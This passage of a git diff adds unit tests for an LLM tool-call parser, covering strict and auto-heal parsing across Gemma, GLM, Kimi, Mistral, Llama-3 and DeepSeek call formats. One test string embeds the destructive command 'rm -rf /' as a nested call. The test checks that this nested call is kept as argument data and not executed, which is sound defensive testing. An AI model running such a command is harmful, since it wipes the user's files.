+        messages = [{"role": "user", "content": "hi"}],
+        tools = tools,
+        apply_fn = render,
+        return_metadata = True,
+    )
+
+    assert result.prompt == "prompt with tools"
+    assert result.reasoning_channel_markers is None
+
+
+def test_gemma_channel_normalization_is_prefix_monotonic_and_preserves_tools():
+    parser = ReasoningChannelNormalizer("<|channel>thought", "<channel|>")
+    output = ""
+    snapshots = []
+    for chunk in (
+        "<|chan",
+        "nel>thought",
+        "\nReason",
+        "<chan",
+        "nel|><|tool_call>web_search<tool_call|>",
+    ):
+        delta = parser.feed(chunk)
+        if delta:
+            output += delta
+            snapshots.append(output)
+
+    assert snapshots == [
+        "<think>",
+        "<think>Reason",
+        "<think>Reason</think><|tool_call>web_search<tool_call|>",
+    ]
+    assert snapshots[1].startswith(snapshots[0])
+    compact = ReasoningChannelNormalizer("<|channel>thought", "<channel|>")
+    assert compact.feed("<|channel>thought<channel|>answer") + compact.finish() == (
+        "<think></think>answer"
+    )
diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py
index 39fdd151be..02f63c41a2 100644
--- a/studio/backend/tests/test_tool_call_parser_strict.py
+++ b/studio/backend/tests/test_tool_call_parser_strict.py
@@ -72,10 +72,8 @@ class TestFunctionStyleTrailingText:
         assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
 
     def test_closed_function_with_trailing_prose_heal_path(self):
-        # Regression: the heal / finalize path (allow_incomplete=True) used to fold
-        # </parameter></function> and the trailing prose into the argument and drop
-        # the prose from visible content. It must now match the strict path -- keep a
-        # clean argument and leave the trailing prose outside the call span.
+        # Regression: the heal path (allow_incomplete=True) must match the strict path --
+        # keep a clean argument and leave trailing prose outside the call span.
         text = "<function=web_search><parameter=query>cats</parameter></function> trailing words"
         calls = parse_tool_calls_from_text(text, allow_incomplete = True)
         assert len(calls) == 1
@@ -102,6 +100,24 @@ class TestFunctionStyleTrailingText:
         text = "<function=web_search><parameter=query>weather london</function>"
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
 
+    def test_attribute_form_literal_close_tag_is_preserved(self):
+        # The attribute form <function name="..."> (MiniCPM-5 / MiniMax-M2) also ends at the
+        # LAST </function>, so a literal close tag inside a code argument survives.
+        text = (
+            '<function name="python"><param name="code">'
+            'print("</function>")'
+            "</param></function> all done"
+        )
+        call = _only(text)
+        assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
+
+    def test_closed_zero_param_attribute_call_is_accepted_in_strict_mode(self):
+        # A closed call with no parameters is a valid zero-argument call; strict
+        # mode must not treat the empty parameter list as a truncated call.
+        assert _only('<function name="ping"></function>') == {"name": "ping", "arguments": {}}
+        # A no-arg call that never closes is still rejected as truncated.
+        assert parse_tool_calls_from_text('<function name="ping">', allow_incomplete = False) == []
+
 
 class TestParityWithJsonStyle:
     def test_json_tool_call_with_trailing_prose_is_accepted(self):
@@ -176,6 +192,37 @@ class TestGemmaNativeStyle:
         }
 
 
+class TestLlama3PythonTagStrict:
+    def test_closed_dot_call_is_accepted(self):
+        text = '<|python_tag|>get_weather.call(location="Tokyo")'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "get_weather"
+        assert json.loads(calls[0]["function"]["arguments"]) == {"location": "Tokyo"}
+
+    def test_truncated_dot_call_is_rejected(self):
+        # No closing paren (depth > 0 at EOF): truncated, reject in strict mode.
+        text = '<|python_tag|>get_weather.call(location="Tokyo"'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        # Auto-Heal still recovers it.
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestMistralArrayStrict:
+    def test_closed_array_is_accepted(self):
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"}}]'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+
+    def test_unclosed_array_is_rejected(self):
+        # Missing the closing ]; strict mode must not heal it.
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"}}'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        # Auto-Heal still recovers the object by hand.
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
 class TestHealingPathUnaffected:
     def test_auto_heal_still_repairs_unclosed_function(self):
         text = "<function=web_search><parameter=query>cats"
@@ -184,9 +231,8 @@ class TestHealingPathUnaffected:
         assert calls[0]["function"]["name"] == "web_search"
 
     def test_closed_function_call_keeps_trailing_prose_out_of_arguments(self):
-        # allow_incomplete exists for truncated output; a call that DID close
-        # must parse identically to strict mode, leaving prose after
-        # </function> out of the last parameter and out of the removal span.
+        # A call that DID close must parse identically to strict mode, leaving prose after
+        # </function> out of the last parameter and the removal span.
         from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
 
         text = "<function=web_search><parameter=query>cats</parameter></function> trailing"
@@ -197,3 +243,1585 @@ class TestHealingPathUnaffected:
         assert text[span[0] : span[1]] == (
             "<function=web_search><parameter=query>cats</parameter></function>"
         )
+
+    def test_wrapperless_fallback_calls_carry_spans(self):
+        # The wrapperless function-XML fallback must report spans too, so with_spans
+        # consumers strip exactly the promoted markup (through </function> when closed).
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        closed = "before <function=web_search><parameter=query>cats</parameter></function> after"
+        calls, spans = parse_with_spans(closed, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "cats"}
+        (span,) = spans
+        assert closed[span[0] : span[1]] == (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+        )
+
+        healed = "x <function=web_search><parameter=query>dogs"
+        calls, spans = parse_with_spans(healed, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "dogs"}
+        (span,) = spans
+        assert healed[span[0] : span[1]] == "<function=web_search><parameter=query>dogs"
+
+
+class TestEnabledToolNameGate:
+    """``enabled_tool_names`` disambiguates the ambiguous bare-rehearsal
+    ``NAME[ARGS]{json}`` form (#5704): NAME is a call only when it is an active tool,
+    otherwise it is prose. ``None`` (the default) keeps the legacy unrestricted parse
+    so existing callers are unaffected."""
+
+    def _names(self, calls):
+        return [c["function"]["name"] for c in calls]
+
+    def test_inactive_rehearsal_before_active_call_does_not_swallow_it(self):
+        # P1: an inactive ``foo[ARGS]{...}`` before a real call must not consume the real call.
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_inactive_rehearsal_alone_is_not_a_call(self):
+        text = 'foo[ARGS]{"a":1}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_active_rehearsal_is_still_parsed(self):
+        text = 'web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+
+    def test_unrestricted_gate_none_preserves_legacy_behavior(self):
+        # Without a gate every ``NAME[ARGS]{...}`` is parsed, as before the gate landed.
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        assert self._names(parse_tool_calls_from_text(text)) == ["foo", "web_search"]
+        assert self._names(parse_tool_calls_from_text(text, enabled_tool_names = None)) == [
+            "foo",
+            "web_search",
+        ]
+
+
+class TestBracketCallSpans:
+    """with_spans tiling for Mistral bracket calls: promoted markup strips
+    exactly once, filtered calls' bytes stay visible, closers strip too."""
+
+    def test_mixed_array_filtered_first_keeps_its_bytes_only(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"bad","arguments":{"x":1}},'
+            '{"name":"lookup","arguments":{"q":"cats"}}]'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        kinds = [k for k, _v in events]
+        assert kinds == ["text", "tool_call"]
+        text = events[0][1]
+        assert '"bad"' in text
+        # The promoted call's markup must not survive in the text event.
+        assert '"lookup"' not in text
+
+    def test_mixed_array_filtered_second_stays_visible(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"lookup","arguments":{"q":"cats"}},'
+            '{"name":"bad","arguments":{"x":1}}]'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        assert events[0][0] == "tool_call"
+        trailing = "".join(v for k, v in events if k == "text")
+        assert '"bad"' in trailing
+
+    def test_v11_closer_inside_span(self):
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        text = '[TOOL_CALLS]web_search[ARGS]{"query":"cats"}[/TOOL_CALLS] after'
+        calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert call["function"]["name"] == "web_search"
+        (span,) = spans
+        assert text[span[0] : span[1]].endswith("[/TOOL_CALLS]")
+        assert text[span[1] :] == " after"
+
+    def test_fully_promoted_array_strips_whole_region(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"lookup","arguments":{"q":"a"}},'
+            '{"name":"lookup","arguments":{"q":"b"}}] after'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        assert [k for k, _v in events] == ["tool_call", "tool_call", "text"]
+        assert events[2][1] == " after"
+
+
+class TestMistralArrayHealing:
+    """Draining the whole [TOOL_CALLS] array for the shapes the repo's own
+    Mistral/Ollama templates emit."""
+
+    def test_comma_less_multi_call_array_parses_all_calls(self):
+        # ollama_template_mappers.py renders multi-call turns as [{...}{...}] with no
+        # comma separator; a single json.loads of the body rejects it and dropped every
+        # call. The element-by-element decode must recover all of them.
+        text = '[TOOL_CALLS] [{"name":"a","arguments":{"x":1}}{"name":"b","arguments":{"y":2}}]'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["a", "b"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"x": 1}
+        assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_comma_separated_and_single_arrays_still_parse(self):
+        both = parse_tool_calls_from_text(
+            '[TOOL_CALLS] [{"name":"a","arguments":{}},{"name":"b","arguments":{}}]'
+        )
+        assert [c["function"]["name"] for c in both] == ["a", "b"]
+        one = parse_tool_calls_from_text('[TOOL_CALLS] [{"name":"a","arguments":{}}]')
+        assert [c["function"]["name"] for c in one] == ["a"]
+
+    def test_mistral_array_null_arguments_normalized_to_empty_object(self):
+        # ``"arguments": null`` is a no-arg call; it must become {} (as the <tool_call>
+        # path does), not the string "null" that auto-heal turns into {"query":"null"}.
+        calls = parse_tool_calls_from_text('[TOOL_CALLS][{"name":"get_time","arguments":null}]')
+        assert calls[0]["function"]["arguments"] == "{}"
+
+
+class TestGlmStrict:
+    def test_closed_glm_call_is_accepted(self):
+        text = (
+            "<tool_call>get_weather\n"
+            "<arg_key>city</arg_key>\n<arg_value>Paris</arg_value>\n"
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "get_weather"
+
+    def test_unclosed_glm_call_is_rejected(self):
+        # No </tool_call> close: truncated, reject with Auto-Heal off.
+        text = "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>Paris</arg_value>"
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestKimiStrict:
+    _SB = "<|tool_calls_section_begin|>"
+    _KB = "<|tool_call_begin|>"
+    _AB = "<|tool_call_argument_begin|>"
+    _KE = "<|tool_call_end|>"
+    _SE = "<|tool_calls_section_end|>"
+
+    def test_full_kimi_call_is_accepted(self):
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE + self._SE
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "x"
+
+    def test_kimi_call_without_call_end_is_rejected(self):
+        # Section closed but the call lacks <|tool_call_end|>: reject in strict.
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._SE
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+    def test_kimi_without_section_end_is_rejected(self):
+        # No <|tool_calls_section_end|>: truncated section, reject in strict.
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestParserLinearity:
+    """Llama-3 ``.call`` kwargs and Mistral-array healing must stay linear (a regex-per-offset blew up on long truncated bodies)."""
+
+    def test_llama3_unterminated_call_arg_is_linear(self):
+        import time
+
+        text = '<|python_tag|>upload.call(data="' + "A" * 200_000  # no closing quote/paren
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_llama3_huge_wordrun_call_arg_is_linear(self):
+        import time
+
+        text = "<|python_tag|>upload.call(" + "a" * 200_000  # giant word run, no '='
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_mistral_unclosed_array_open_braces_is_linear(self):
+        import time
+
+        text = "[TOOL_CALLS] [" + "{" * 200_000  # unclosed array, all open braces
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_gemma_wrapperless_deep_nesting_is_linear(self):
+        # Wrapper-less Gemma ``call:f{a:{a:{...}}}`` deep nesting must parse in linear time (no quadratic re-scan).
+        import time
+
+        def nested(d):
+            return "call:f{a:" + "{a:" * d + "x:1" + "}" * d + "}"
+
+        def best_ms(depth):
+            text = nested(depth)
+            best = float("inf")
+            for _ in range(5):
+                t0 = time.perf_counter()
+                calls = parse_tool_calls_from_text(text)
+                best = min(best, time.perf_counter() - t0)
+            assert calls and json.loads(calls[0]["function"]["arguments"]), "nested args dropped"
+            return best
+
+        t200 = best_ms(200)
+        t400 = best_ms(400)
+        assert t400 < t200 * 3.0, (t200, t400)
+
+    def test_llama3_call_kwargs_still_parse(self):
+        text = '<|python_tag|>do.call(s="hi 😀", n=42, f=1.5, b=true, z=null)'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "s": "hi 😀",
+            "n": 42,
+            "f": 1.5,
+            "b": True,
+            "z": None,
+        }
+
+    def test_llama3_call_scientific_notation_args_parse(self):
+        # Scientific notation must decode as float (the old regex truncated 1e-3 -> 1).
+        text = "<|python_tag|>calc.call(x=1e-3, y=-2E+4, z=0.5e2, n=42)"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"x": 1e-3, "y": -2e4, "z": 50.0, "n": 42}
+        assert isinstance(args["n"], int) and isinstance(args["x"], float)
+
+    def test_mistral_unclosed_array_recovers_top_level_objects(self):
+        text = (
+            '[TOOL_CALLS] [{"name":"a","arguments":{"k":1}},'
+            '{"name":"b","arguments":{"j":2}}'  # missing closing ]
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert [c["function"]["name"] for c in calls] == ["a", "b"]
+
+
+class TestLlamaBuiltinChainAndNesting:
+    """Llama-3 ``.call`` built-ins: ``; `` chaining and nested-tag isolation."""
+
+    def test_semicolon_chained_builtin_calls_all_parse(self):
+        # Only the first call is anchored to <|python_tag|>; the rest chain via ';'.
+        text = "<|python_tag|>alpha.call(x=1); beta.call(y=2); gamma.call(z=3)"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert [c["function"]["name"] for c in calls] == ["alpha", "beta", "gamma"]
+        assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_nested_python_tag_in_json_string_arg_is_not_a_call(self):
+        # A code arg literally containing a <|python_tag|>...call(...) string: the real call is the
+        # outer "python", not the nested "os" -- the scan stays anchored to the first tag.
+        text = (
+            '<|python_tag|>{"name":"python","parameters":'
+            '{"code":"<|python_tag|>os.call(\'rm -rf /\')"}}'
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "python"
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<|python_tag|>os.call('rm -rf /')"
+
+    def test_single_builtin_call_unchanged(self):
+        text = '<|python_tag|>web_search.call(query="cats")'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+
+def test_glm_open_does_not_parse_spaced_prose_as_tool_name():
+    # The GLM <tool_call>NAME opener must reject spaced literal prose (V10); only a
+    # valid [\w.\-]+ name (followed by newline/<arg_key>/</tool_call>) is a call.
+    assert parse_tool_calls_from_text("<tool_call>not a call</tool_call>") == []
+    ok = parse_tool_calls_from_text(
+        "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>NYC</arg_value>\n</tool_call>"
+    )
+    assert [c["function"]["name"] for c in ok] == ["get_weather"]
+
+
+def test_deepseek_r1_missing_call_terminator_rejected_in_strict_mode():
+    # R1 must reject a fenced call whose closing ``` + <｜tool▁call▁end｜> never
+    # arrived when Auto-Heal is off, matching V3/V3.1 strictness (V6).
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC"}'
+        "<｜tool▁calls▁end｜>"
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+def test_deepseek_r1_complete_call_accepted_in_strict_mode():
+    # A fully-terminated R1 call (close fence + per-call end) is still accepted.
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC"}\n'
+        "```<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+    assert len(calls) == 1 and calls[0]["function"]["name"] == "get_weather"
+
+
+def test_strip_leading_bare_json_call_drops_complete_call():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A complete Llama-3.2 bare-JSON call is removed; trailing prose is kept.
+    assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"cats"}}') == ""
+    assert (
+        strip_leading_bare_json_call('{"name":"python","parameters":{"code":"x"}} done') == "done"
+    )
+
+
+def test_strip_leading_bare_json_call_drops_truncated_call():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A truncated call (no closing brace) collapses to "" -- nothing recoverable.
+    assert (
+        strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"weather in S')
+        == ""
+    )
+
+
+def test_strip_leading_bare_json_call_preserves_plain_json_and_prose():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # No "name" key -> plain JSON answer, left untouched.
+    assert (
+        strip_leading_bare_json_call('{"result": 42, "ok": true}') == '{"result": 42, "ok": true}'
+    )
+    # Prose before the brace -> not a leading bare call, untouched.
+    assert strip_leading_bare_json_call('here is {"name":"x"}') == 'here is {"name":"x"}'
+    # Ordinary text untouched.
+    assert strip_leading_bare_json_call("just a sentence.") == "just a sentence."
+
+
+def test_glm_literal_close_tag_in_string_arg_not_truncated():
+    import json
+
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    # A GLM string argument may legitimately contain the literal close tag ``</tool_call>``.
+    text = (
+        "<tool_call>run_code\n"
+        "<arg_key>code</arg_key>\n"
+        '<arg_value>print("</tool_call>")</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["code"] == 'print("</tool_call>")', args
+
+
+def test_glm_truncated_block_rejected_in_strict_mode_but_healed_otherwise():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    # No </tool_call> close: strict mode (Auto-Heal off) rejects the truncated
+    # block; with Auto-Heal it keeps the partial call.
+    text = "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>NYC"
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1 and healed[0]["function"]["name"] == "get_weather"
+
+
+def test_truncated_wrapperless_gemma_call_is_stripped():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # A wrapper-less Gemma ``call:NAME{...`` cut off mid-arguments (no closing
+    # brace) must not leak the raw call into the visible stream.
+    text = 'Sure!\ncall:web_search{"query": "weather in San Fr'
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:web_search" not in stripped, repr(stripped)
+    assert stripped.strip() == "Sure!"
+
+
+def test_complete_wrapperless_gemma_call_keeps_trailing_prose():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # The truncation pattern must run AFTER the closed form, so a complete call
+    # followed by prose keeps the prose instead of eating to EOS.
+    text = 'call:web_search{"query": "cats"} Here you go.'
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:web_search" not in stripped
+    assert stripped.strip() == "Here you go."
+
+
+def test_bare_json_gated_on_enabled_tool_names():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    alice = '{"name":"Alice","parameters":{"age":30}}'
+    real = '{"name":"web_search","parameters":{"query":"cats"}}'
+    # With an enabled set, markerless JSON whose name is not a tool is NOT a call.
+    assert parse_tool_calls_from_text(alice, enabled_tool_names = {"web_search"}) == []
+    # A real call (enabled name) still parses.
+    got = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in got] == ["web_search"]
+    # No enabled set (None) keeps the name-agnostic behaviour for direct callers.
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(alice)] == ["Alice"]
+    # Marker-based forms are NOT gated (an explicit signal is a real call attempt).
+    xml = '<tool_call>{"name":"Alice","arguments":{}}</tool_call>'
+    assert parse_tool_calls_from_text(xml, enabled_tool_names = {"web_search"})
+
+
+def test_strip_leading_bare_json_call_gated_on_enabled_tool_names():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    alice = '{"name":"Alice","parameters":{"age":30}}'
+    # Not an enabled tool -> ordinary JSON answer, kept verbatim.
+    assert strip_leading_bare_json_call(alice, {"web_search"}) == alice
+    # Enabled tool -> a real call, stripped (trailing prose kept).
+    assert (
+        strip_leading_bare_json_call(
+            '{"name":"web_search","parameters":{"q":1}} hi', {"web_search"}
+        )
+        == "hi"
+    )
+
+
+def test_function_xml_strip_keeps_literal_close_tag_in_param_value():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # The strip uses the LAST </function> (like the parser) so a literal </function> in a value doesn't
+    # truncate it; separate calls still strip independently.
+    text = '<function=python><parameter=code>print("</function>")</parameter></function> done'
+    assert strip_tool_markup(text, final = True) == "done"
+    two = (
+        "a <function=f><parameter=x>1</parameter></function> mid "
+        "<function=g><parameter=y>2</parameter></function> end"
+    )
+    assert strip_tool_markup(two, final = True) == "a  mid  end"
+
+
+def test_function_xml_strip_keeps_trailing_text_after_literal_open_tag():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text, strip_tool_markup
+
+    # A literal ``<function=x>`` opener inside a parameter value is data, not a call: the scan-based
+    # strip keeps " done" (the old negative-lookahead regex ate the trailing prose).
+    text = '<function=python><parameter=code>print("<function=x>")</parameter></function> done'
+    assert parse_tool_calls_from_text(text)[0]["function"]["name"] == "python"
+    assert strip_tool_markup(text, final = True) == "done"
+    # Non-final (streaming) keeps an unclosed call buffered, does not eat prose early.
+    open_text = 'pre <function=python><parameter=code>print("<function=x>")'
+    assert strip_tool_markup(open_text, final = False) == open_text
+
+
+def test_final_strip_removes_magistral_think_reasoning():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Magistral emits reasoning as ``[THINK]...[/THINK]`` (bracket form, not ``<think>``);
+    # at end-of-turn it must be dropped so it doesn't leak into display / history.
+    text = "[THINK]The user greeted me, I should say hi.[/THINK]Hello! How can I help?"
+    assert strip_tool_markup(text, final = True) == "Hello! How can I help?"
+    # A ``[TOOL_CALLS]`` living inside the reasoning goes with it.
+    with_call = '[THINK]Maybe I should search.[/THINK][TOOL_CALLS]search{"q":"x"}'
+    assert strip_tool_markup(with_call, final = True) == ""
+
+
+def test_streaming_strip_keeps_magistral_think_buffered():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Mid-stream (final=False) the reasoning block is left intact; only the
+    # end-of-turn pass removes it.
+    text = "[THINK]still thinking"
+    assert strip_tool_markup(text, final = False) == text
+
+
+def test_final_strip_leaves_non_magistral_bracket_text_untouched():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Only a LEADING ``[THINK]`` block is reasoning; unrelated bracketed prose stays.
+    text = "See [THINK about it] later"
+    assert strip_tool_markup(text, final = True) == "See [THINK about it] later"
+
+
+def test_strip_leading_bare_json_call_ignores_nested_name():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A nested ``"name"`` must NOT gate the strip (only a TOP-LEVEL enabled name is a call); the
+    # ordinary JSON answer is kept verbatim, truncated or complete.
+    nested_trunc = '{"result":{"name":"web_search","age":'
+    nested_full = '{"result":{"name":"web_search","age":1}}'
+    assert strip_leading_bare_json_call(nested_trunc, {"web_search"}) == nested_trunc
+    assert strip_leading_bare_json_call(nested_full, {"web_search"}) == nested_full
+    # A real top-level call (even with a top-level array before the name) still strips.
+    assert (
+        strip_leading_bare_json_call(
+            '{"data":[1,2],"name":"web_search","parameters":{}}', {"web_search"}
+        )
+        == ""
+    )
+
+
+def test_mistral_single_object_call_is_stripped_for_display():
+    from core.inference.tool_call_parser import (
+        _strip_mistral_closed_calls,
+        parse_tool_calls_from_text,
+    )
+
+    # The parser accepts the single-object [TOOL_CALLS]{...} shape, so the display
+    # strip must remove it too (asymmetry would leak the raw object).
+    text = '[TOOL_CALLS]{"name":"web_search","arguments":{"filters":{"date":"2024"}}} tail'
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == ["web_search"]
+    assert _strip_mistral_closed_calls(text) == " tail"
+    # A literal [TOOL_CALLS] in prose (no following object) is left untouched.
+    assert _strip_mistral_closed_calls("See the [TOOL_CALLS] docs") == "See the [TOOL_CALLS] docs"
+
+
+def test_tool_call_parser_declares_future_annotations_for_py39_import():
+    # F1: the parser is imported standalone on python >=3.9, where its PEP 604 ``X | None``
+    # annotations need ``from __future__ import annotations``; guard that the import stays.
+    from pathlib import Path
+    src = (
+        Path(__file__).resolve().parent.parent / "core" / "inference" / "tool_call_parser.py"
+    ).read_text()
+    assert "from __future__ import annotations" in src
+
+
+def test_glm_strip_treats_literal_close_tag_in_arg_value_as_data():
+    # Core strip parity: a literal </tool_call> inside a GLM <arg_value> is argument data, so the whole call is stripped (no leaked tail).
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    text = (
+        "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+        "<arg_value>see </tool_call> tag</arg_value>\n</tool_call> tail"
+    )
+    assert strip_tool_markup(text, final = True) == "tail"
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["web_search"]
+    assert json.loads(calls[0]["function"]["arguments"]) == {"query": "see </tool_call> tag"}
+
+
+def test_bare_json_function_alias_parses_and_strips_symmetrically():
+    # The bare-JSON parser accepts the "function" alias for the call name;
+    # strip_leading_bare_json_call must recognise it too (parser/strip symmetry).
+    from core.inference.tool_call_parser import (
+        parse_tool_calls_from_text,
+        strip_leading_bare_json_call,
+        _top_level_bare_json_name,
+    )
+
+    enabled = {"web_search"}
+    text = '{"function":"web_search","parameters":{"query":"cats"}}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = enabled)
+    assert [c["function"]["name"] for c in calls] == ["web_search"]
+    assert strip_leading_bare_json_call(text, enabled) == ""
+
+    # "name" still takes precedence when both are present; nested aliases are data.
+    assert _top_level_bare_json_name('{"function":"foo","name":"web_search"}') == "web_search"
+    assert _top_level_bare_json_name('{"function":"web_search"}') == "web_search"
+    assert _top_level_bare_json_name('{"result":{"function":"web_search"}}') is None
+    # A non-enabled function-alias object is ordinary content and is preserved.
+    assert (
+        strip_leading_bare_json_call('{"function":"not_a_tool","parameters":{}}', enabled)
+        == '{"function":"not_a_tool","parameters":{}}'
+    )
+
+
+class TestMistralOuterOverXmlLiteral:
+    """Quoted tool XML inside a [TOOL_CALLS] call's arguments is data; the outer call executes. Reverse order keeps the XML."""
+
+    def test_mistral_v11_arg_quoting_function_xml(self):
+        text = (
+            '[TOOL_CALLS]web_search[ARGS]{"query":"literal '
